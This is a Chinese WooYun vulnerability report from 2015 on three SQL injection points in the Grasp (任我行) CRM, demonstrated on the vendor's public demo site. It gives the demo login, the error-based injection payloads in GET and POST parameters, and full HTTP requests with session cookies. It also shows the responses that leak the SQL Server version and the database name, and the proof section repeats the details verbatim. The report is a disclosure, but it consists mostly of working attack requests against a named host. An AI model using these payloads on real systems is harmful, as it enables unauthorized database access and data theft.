漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0103784
漏洞标题:任我行crmSQL注入3处(需要登陆)
相关厂商:grasp.com.cn
漏洞作者: 路人甲
提交时间:2015-03-27 16:35
修复时间:2015-06-30 16:37
公开时间:2015-06-30 16:37
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:12
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-27: 细节已通知厂商并且等待厂商处理中
2015-04-01: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-26: 细节向核心白帽子及相关领域专家公开
2015-06-05: 细节向普通白帽子公开
2015-06-15: 细节向实习白帽子公开
2015-06-30: 细节向公众公开
简要描述:
任我行注入
详细说明:
官网demo:http://show.wecrm.com/xt/main 账户:demo2/demodemo
注入1:(post注入)
http://show.wecrm.com/xt/Common/EmployeeSelectIndexDataList/
Post参数:
keywords=&EmployeeClassID=&DepartmentID=' and 1=(select @@version)--&pageIndex=1&pageSize=50&includeself=false&includeadmin=false&onlyoperator=false&onlyHasCheckRight=false&checkRightTypeStr=&myTaskExaminee=false&ExcludeIds=&CommonPersonalGroupType=&OnlyActive=false&isManagePage=false
返回:
{"error":{"errorCode":-1,"message":"在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) \n\tApr 2 2010 15:53:02 \n\tCopyright (c) Microsoft Corporation\n\tEnterprise Edition on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (WOW64) (Hypervisor)\n' 转换成数据类型 int 时失败。","errorType":1},"value":null}
注入2:
http://show.wecrm.com/xt/Common/CoAnnex/?mainObjectType=Employee&mainObjectId='%20and%201=(select%20db_name())--&_=0.30845493567176163
返回数据库名:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入3:
POST http://show.wecrm.com/xt/Common/GetMyRemindList/ HTTP/1.1
Host: show.wecrm.com
Connection: keep-alive
Content-Length: 99
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://show.wecrm.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://show.wecrm.com/xt/Common/MyRemindIndex/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: CRM_LASTLOGINUSERKEY=demo5; wnd=false; _ga=GA1.2.348008560.1426762888; Hm_lvt_34f20f9f2a57a1aacd93d39a11ec8f3c=1426762888,1426762945; userlike_0000000747=index; userlike_0000000146=index; ASP.NET_SessionId=x25xr3dkn0k3s1gl5cxcfcyt
pageIndex=1&pageSize=30&MainCoObject=&StartRemindDate=2014-12-26&EndRemindDate=2015-03-26&Keywords=' and 1=(select @@version) --
返回:
{"error":{"errorCode":-1,"message":"在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) \n\tApr 2 2010 15:53:02 \n\tCopyright (c) Microsoft Corporation\n\tEnterprise Edition on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (WOW64) (Hypervisor)\n' 转换成数据类型 int 时失败。","errorType":1},"value":null}
漏洞证明:
注入1:(post注入)
http://show.wecrm.com/xt/Common/EmployeeSelectIndexDataList/
Post参数:
keywords=&EmployeeClassID=&DepartmentID=' and 1=(select @@version)--&pageIndex=1&pageSize=50&includeself=false&includeadmin=false&onlyoperator=false&onlyHasCheckRight=false&checkRightTypeStr=&myTaskExaminee=false&ExcludeIds=&CommonPersonalGroupType=&OnlyActive=false&isManagePage=false
返回:
{"error":{"errorCode":-1,"message":"在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) \n\tApr 2 2010 15:53:02 \n\tCopyright (c) Microsoft Corporation\n\tEnterprise Edition on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (WOW64) (Hypervisor)\n' 转换成数据类型 int 时失败。","errorType":1},"value":null}
注入2:
http://show.wecrm.com/xt/Common/CoAnnex/?mainObjectType=Employee&mainObjectId='%20and%201=(select%20db_name())--&_=0.30845493567176163
返回数据库名:
在将 nvarchar 值 'grasp_crm_CRMDEMO' 转换成数据类型 int 时失败。
注入3:
POST http://show.wecrm.com/xt/Common/GetMyRemindList/ HTTP/1.1
Host: show.wecrm.com
Connection: keep-alive
Content-Length: 99
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://show.wecrm.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://show.wecrm.com/xt/Common/MyRemindIndex/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: CRM_LASTLOGINUSERKEY=demo5; wnd=false; _ga=GA1.2.348008560.1426762888; Hm_lvt_34f20f9f2a57a1aacd93d39a11ec8f3c=1426762888,1426762945; userlike_0000000747=index; userlike_0000000146=index; ASP.NET_SessionId=x25xr3dkn0k3s1gl5cxcfcyt
pageIndex=1&pageSize=30&MainCoObject=&StartRemindDate=2014-12-26&EndRemindDate=2015-03-26&Keywords=' and 1=(select @@version) --
返回:
{"error":{"errorCode":-1,"message":"在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (Intel X86) \n\tApr 2 2010 15:53:02 \n\tCopyright (c) Microsoft Corporation\n\tEnterprise Edition on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (WOW64) (Hypervisor)\n' 转换成数据类型 int 时失败。","errorType":1},"value":null}
修复方案:
过滤
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:无影响厂商忽略
忽略时间:2015-06-30 16:37
厂商回复:
最新状态:
暂无